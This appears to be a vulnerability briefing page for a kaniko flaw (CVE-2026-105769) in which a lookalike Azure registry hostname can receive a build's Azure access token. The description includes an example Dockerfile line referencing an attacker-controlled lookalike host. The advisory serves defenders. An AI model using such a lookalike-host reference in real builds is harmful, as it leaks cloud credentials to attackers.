Vulnerability briefing · 2026-11-02 22:47 IST

CVE-2026-105769

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

CRITICAL · 9.3AWSContainers / DevOpsWindows

Executive briefing

This record describes a reported software or hardware weakness. The description and CVSS rating are source metadata; practical risk depends on whether your environment uses an affected product/version and whether the vulnerable component is reachable and configured in an exploitable way.

Assessment status: No CISA KEV listing is currently recorded in this local feed. This does not prove the vulnerability is not exploited.

Severity & exploitability

9.3 / 10 CVSS

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Attack vectorN
Attack complexityL
Privileges requiredN
User interactionR
ScopeC
Confidentiality impactH
Integrity impactH
Availability impactN

Impacted products and platforms

Specific affected product configurations are not currently available in the NVD record. Review vendor advisories and validate applicability against your asset inventory.

How it works and what it could affect

The NVD description is the authoritative short summary currently available for this record. A detailed technical mechanism is not inferred when the source record does not provide one.

Weakness classification: CWE-346CWE-522

Review the CVSS attack characteristics above to understand whether exploitation is network/local, whether privileges or user interaction are required, and which confidentiality, integrity or availability impacts are scored.

Remediation and recommended response

  1. Identify exposure: compare the affected product and version ranges below with your asset inventory, software bill of materials, endpoint inventory and externally exposed services.
  2. Remediate: review the linked vendor security advisory or patch notes, upgrade to a fixed release, or apply the vendor-provided workaround if an upgrade cannot be completed.
  3. Mitigate while patching: restrict network access to the vulnerable service, disable the affected feature where operationally safe, and monitor vendor/CERT advisories for updated guidance.
  4. Validate: confirm the fixed version or mitigation on representative systems, run a vulnerability rescan, and retain change evidence.

Vendor remediation / security advisories

Exploit intelligence & references

No CISA KEV match is recorded in the latest successful catalog refresh. This is not a guarantee that public proof-of-concept code or exploitation does not exist.

Sources: NVD and CISA KEV when available. Vendor confirmation remains the final authority for fixed versions and workarounds.

Open NVD record ← Back to CVE Watch

Threat intelligence, made actionable · CVE data sourced from the NVD